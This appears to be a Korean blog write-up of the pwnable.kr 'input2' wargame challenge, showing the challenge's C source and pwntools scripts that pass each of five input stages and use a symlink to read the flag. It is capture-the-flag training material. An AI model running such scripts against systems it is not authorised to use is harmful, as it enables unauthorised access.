Wargame/pwnable.kr

[Pwnable.kr] input2

핏디 2021. 7. 22. 14:58
SMALL

[문제]


[풀이]

문제에 접속해 파일 목록을 확인하니 input이라는 실행파일과 c코드가 존재하였다.

input.c 파일을 확인하면 다음과 같은 소스코드를 확인할 수 있다.

1 #include <stdio.h>
  2 #include <stdlib.h>
  3 #include <string.h>
  4 #include <sys/socket.h>
  5 #include <arpa/inet.h>
  6 
  7 int main(int argc, char* argv[], char* envp[]){
  8         printf("Welcome to pwnable.kr\n");
  9         printf("Let's see if you know how to give input to program\n");
 10         printf("Just give me correct inputs then you will get the flag :)\n");
 11 
 12         // argv
 13         if(argc != 100) return 0;
 14         if(strcmp(argv['A'],"\x00")) return 0;
 15         if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
 16         printf("Stage 1 clear!\n");
 17 
 18         // stdio
 19         char buf[4];
 20         read(0, buf, 4);
 21         if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
 22         read(2, buf, 4);
 23         if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
 24         printf("Stage 2 clear!\n");
 25 
 26         // env
 27         if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
 28         printf("Stage 3 clear!\n");
 29 
 30         // file
 31         FILE* fp = fopen("\x0a", "r");
 32         if(!fp) return 0;
 33         if( fread(buf, 4, 1, fp)!=1 ) return 0;
 34         if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
 35         fclose(fp);
 36         printf("Stage 4 clear!\n");
 37 
 38         // network
 39         int sd, cd;
 40         struct sockaddr_in saddr, caddr;
41         sd = socket(AF_INET, SOCK_STREAM, 0);
 42         if(sd == -1){
 43                 printf("socket error, tell admin\n");
 44                 return 0;
 45         }
 46         saddr.sin_family = AF_INET;
 47         saddr.sin_addr.s_addr = INADDR_ANY;
 48         saddr.sin_port = htons( atoi(argv['C']) );
 49         if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
 50                 printf("bind error, use another port\n");
 51                 return 1;
 52         }
 53         listen(sd, 1);
 54         int c = sizeof(struct sockaddr_in);
 55         cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
 56         if(cd < 0){
 57                 printf("accept error, tell admin\n");
 58                 return 0;
 59         }
 60         if( recv(cd, buf, 4, 0) != 4 ) return 0;
 61         if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
 62         printf("Stage 5 clear!\n");
 63 
 64         // here's your flag
 65         system("/bin/cat flag");
 66         return 0;
 67 }

총 5단계로 구성되어 있으며, 각 stage 별로 분석해보고자 한다.

 


[stage1]

 // argv
 13         if(argc != 100) return 0;
 14         if(strcmp(argv['A'],"\x00")) return 0;
 15         if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
 16         printf("Stage 1 clear!\n");

13: argc가 100이 아니면 프로그램 종료

14: argv['A']가 \x00이 아니면 프로그램 종료

-> A는 ASCII 변환 시 65이므로 65번째 인자가 \x00이어야 한다.

-> 터미널 창에서 python -c ~~ 형태로 hex 값을 주면 \x00을 문자열이 아닌 null로 인식하기 때문에, pwntool를 이용해야 한다.

15: argv['B']가 \x20\x0a\x0d이 아니면 프로그램 종료

-> B는 ASCII 변환시 66이므로 66번째 인자가 \x20\x0a\x0d이어야 한다.

16: 모든 조건 통과 시, Stage 1 clear 문구 출력

 

stage 1에 대한 exploit 코드를 작성해보면 다음과 같다.

* /tmp 아래에 작성할 수 있음. (나머지 폴더는 쓰기 권한이 없기 때문)

  1 from pwn import *
  2 
  3 arg = [str(i) for i in range(0,100)]
  4 arg[ord('A')] = '\x00'
  5 arg[ord('B')] = '\x20\x0a\x0d'
  6 
  7 p = process(executable = '/home/input2/input', argv = arg)
  8 
  9 p.interactive()
  
  

from pwn import *
 
p = ssh(user="input2", host="pwnable.kr", port=2222, password="guest")
 
arg = [str(i) for i in range(100)]
arg[65] = "\x00"
arg[66] = "\x20\x0a\x0d"
 
p2 = p.process(executable='/home/input2/input', argv=arg)
 
print p2.recvuntil("clear!\n")

3: 100개의 인자를 주기 위해 for 문으로 작성하여 리스트로 만든다. 

-> arg = ["" for i in range(0,100)] 으로 작성해도 동일하다.

4: 65번째 인자에 \x00 저장

5: 66번째 인자에 \x20\x0a\x0d 저장

7: 프로세스 실행 

executable = '/home/input2/input'

-> 현재 경로에 있는 파일을 실행하는 것이 아니기 때문에 경로를 절대경로로 지정해줘야 한다.

argv =arg

-> 인자를 지정해주는데, argv는 리스트 형태를 갖고 있어야 한다!

 

Stage1 을 clear 할 수 있다.


[Stage 2]

 18         // stdio
 19         char buf[4];
 20         read(0, buf, 4);
 21         if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
 22         read(2, buf, 4);
 23         if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
 24         printf("Stage 2 clear!\n");

20: 입력 값(stdin)으로 buf에 4바이트만큼 작성

*read() 함수

read(int fd, void *buf, size nbytes) 형태로 사용

fd 0 -> stdin(표준 입력)

fd 1 -> stdout(표준 출력)

fd 2 -> stderr(표준 에러)

 

21: buf의 메모리 4바이트와 \x00\x0a\x00\xff 4바이트를 비교한다.

-> 20번 코드에서 입력 값으로 준 값과 비교하는 것

22: buf의 4바이트 만큼 표준 에러로 읽어온다.

23: buf의 메모리 4바이트와 \x00\x0a\x02\xff 4바이트를 비교한다.

24: 모든 조건을 만족할 경우 Stage 2 clear 문장을 출력한다.

 

stage 2에 대한 exploit 코드를 작성해보면 다음과 같다.

  1 from pwn import *
  2 
  3 argvs = ["" for i in range(0,100)]
  4 argvs[ord('A')] = '\x00'
  5 argvs[ord('B')] = '\x20\x0a\x0d'
  6 
  7 p = process(executable = '/home/input2/input', argv = argvs, stderr = open('./err'))
  8 
  9 payload = '\x00\x0a\x00\xff'
 10 with open('./err', 'w') as f:
 11         f.write('\x00\x0a\x02\xff')
 12 
 13 p.sendline(payload)
 14 
 15 p.interactive()

7: 표준 에러가 추가되므로 stderr의 경로를 설정해준다. 

*표준 에러를 작성할 err 파일은 사전에 만들어야 한다.

9: 표준 입력으로 작성할 값 \x00\x0a\x00\xff을 payload에 저장한다.

10: 사전에 제작한 err 파일을 읽어와 \x00\x0a\x02\xff를 작성한다.

13: 9번에 저장한 payload를 전송한다.

 

pwntool로 폴더와 파일을 만드는 방법도 있다.

  9 p.run("mkdir /tmp/sikk")
 10 p.write('/tmp/sikk/err', "\x00\x0a\x02\xff")
 11 
 12 p2 = p.process(executable='/home/input2/input', argv=arg,stderr="/tmp/sikk/err")
 13 
 14 print p2.recvuntil("clear!\n")
 15 p2.send("\x00\x0a\x00\xff")
 16 
 17 print p2.recvuntil("clear!\n")


[Stage 3]

// env
 27         if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
 28         printf("Stage 3 clear!\n");

27: \xca\fe\xba\xbe와 getenv로 구한 \xde\xad\xbe\ef의 환경변수 값이 동일한지 비교한다.

 

stage 3에 대한 exploit 코드를 작성해보면 다음과 같다.

  1 from pwn import *
  2 
  3 p = ssh(user="input2", host="pwnable.kr", port=2222, password="guest")
  4 
  5 arg = [str(i) for i in range(100)]
  6 arg[65] = "\x00"
  7 arg[66] = "\x20\x0a\x0d"
  8 
  9 p.run("mkdir /tmp/sikk")
 10 p.write('/tmp/sikk/err', "\x00\x0a\x02\xff")
 11 en = {'\xde\xad\xbe\xef' : "\xca\xfe\xba\xbe"}
 12 
 13 p2 = p.process(executable='/home/input2/input', argv=arg,stderr="/tmp/sikk/err",env=en)
 14 
 15 print p2.recvuntil("clear!\n")
 16 p2.send("\x00\x0a\x00\xff")
 17 
 18 print p2.recvuntil("clear!\n")
 19 print p2.recvuntil("clear!\n")

11: 환경변수는 dictionary 형태로 설정해줘야 하므로, \xdeadbeef와 \xcafebabe를 설정하여 13번 코드에 추가해준다.

-> 변수로 할당하지 않고 13번 코드에 바로 작성하는 방법도 있다.

p = process(executable = '/home/input2/input', argv = argvs, stderr = open('./err'), env={'\xde\xad\xbe\xef' : '\xca\xfe\xba\xbe'})

 


[Stage 4]

 // file
 31         FILE* fp = fopen("\x0a", "r");
 32         if(!fp) return 0;
 33         if( fread(buf, 4, 1, fp)!=1 ) return 0;
 34         if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
 35         fclose(fp);
 36         printf("Stage 4 clear!\n");

31: \x0a라는 파일을 읽어와 fp에 저장한다.

33: read 함수로 fp에서 4바이트를 1번 읽어온다.

34: \x0a파일에서 읽어온 값이 \x00\x00\x00\x00이면 stage4를 해결할 수 있다.

 

stage 4에 대한 exploit 코드를 작성해보면 다음과 같다.

  1 from pwn import *
  2 
  3 p = ssh(user="input2", host="pwnable.kr", port=2222, password="guest")
  4 
  5 arg = [str(i) for i in range(100)]
  6 arg[65] = "\x00"
  7 arg[66] = "\x20\x0a\x0d"
  8 
  9 p.run("mkdir /tmp/dongdd")
 10 p.write('/tmp/sikk/err', "\x00\x0a\x02\xff")
 11 p.write('/tmp/sikk/\x0a', "\x00\x00\x00\x00")
 12 en = {'\xde\xad\xbe\xef' : "\xca\xfe\xba\xbe"}
 13 
 14 p2 = p.process(cwd="/tmp/dongdd/",executable='/home/input2/input',
 15                 argv=arg,stderr="/tmp/sikk/err",env=en)
 16 
 17 print p2.recvuntil("clear!\n")
 18 p2.send("\x00\x0a\x00\xff")
 19 
 20 print p2.recvall()

11: \x0a이름을 가진 파일을 만들어 \x00\x00\x00\x00 값을 저장한다.

 

 


[Stage 5]

 // network
 39         int sd, cd;
 40         struct sockaddr_in saddr, caddr;
41         sd = socket(AF_INET, SOCK_STREAM, 0);
 42         if(sd == -1){
 43                 printf("socket error, tell admin\n");
 44                 return 0;
 45         }
 46         saddr.sin_family = AF_INET;
 47         saddr.sin_addr.s_addr = INADDR_ANY;
 48         saddr.sin_port = htons( atoi(argv['C']) );
 49         if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
 50                 printf("bind error, use another port\n");
 51                 return 1;
 52         }
 53         listen(sd, 1);
 54         int c = sizeof(struct sockaddr_in);
 55         cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
 56         if(cd < 0){
 57                 printf("accept error, tell admin\n");
 58                 return 0;
 59         }
 60         if( recv(cd, buf, 4, 0) != 4 ) return 0;
 61         if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
 62         printf("Stage 5 clear!\n");

48: C번째 인자(67번째 인자)를 port 번호로 저장한다.

60: 포트를 열어 4바이트를 수신하고, 받은 값을 buf에 저장한다. 

61: 해당 값이 \xde\xad\xbe\eb이면 stage 5가 해결된다.

 

stage 5에 대한 exploit 코드를 작성해보면 다음과 같다.

  1 
  2 from pwn import *
  3 
  4 p = ssh(user="input2", host="pwnable.kr", port=2222, password="guest")
  5 
  6 arg = [str(i) for i in range(100)]
  7 arg[65] = "\x00"
  8 arg[66] = "\x20\x0a\x0d"
  9 arg[67] = "12345"
 10 
 11 p.run("mkdir /tmp/sikk")
 12 p.write('/tmp/sikk/err', "\x00\x0a\x02\xff")
 13 p.write('/tmp/sikk/\x0a', "\x00\x00\x00\x00")
 14 en = {'\xde\xad\xbe\xef' : "\xca\xfe\xba\xbe"}
 15 
 16 p2 = p.process(cwd="/tmp/sikk/",executable='/home/input2/input',
 17                 argv=arg,stderr="/tmp/sikk/err",env=en)
 18 
 19 print p2.recvuntil("clear!\n")
 20 p2.send("\x00\x0a\x00\xff")
 21 
 22 print p2.recvuntil("clear!\n")
 23 print p2.recvuntil("clear!\n")
 24 print p2.recvuntil("clear!\n")
 25 
 26 p1 = p.remote('localhost',12345)
 27 p1.send("\xde\xad\xbe\xef")
 28 
 29 print p2.recv()

9: 67번 argv에 임의의 포트번호를 지정해준다.

26: 지정한 포트로 원격접속 한다.

27: \xde\xad\xbe\xef를 보낸다. 

 

이대로 보내게 되면 flag는 출력되지 않는 것을 볼 수 있다. 이는 flag 파일이 해당 경로에 존재하지 않기 때문이다.

따라서 심볼릭 링크를 설정해주어야 한다.

 

이에 대한 방법은 pwntool에 작성하거나, 터미널 창에서 입력하는 방법 2가지가 있을 수 있다.

ln -s 명령으로 /home/input2/flag 파일을 flag라는 이름으로 링킹하면 flag라는 링크가 생겼음을 알 수 있다.

 

2번째 방법은 pwntool 코드에 아래의 코드를 작성하면 심볼릭링크를 설정할 수 있다.

ar = [str(i) for i in range(4)]
ar[1] = "-s"
ar[2] = "/home/input2/flag"
ar[3] = "flag"
p.process(cwd='/tmp/sikk/', executable='/bin/ln',argv=ar)

 

심볼릭 링크까지 추가해주면 flag를 획득할 수 있다.

LIST

'Wargame > pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] blackjack  (0) 2021.08.12
[Pwnable.kr] leg  (0) 2021.08.04
[Pwnable.kr] random  (0) 2021.07.22
[Pwnable.kr] passcode  (0) 2021.06.03
[Pwnable.kr] flag  (0) 2021.06.03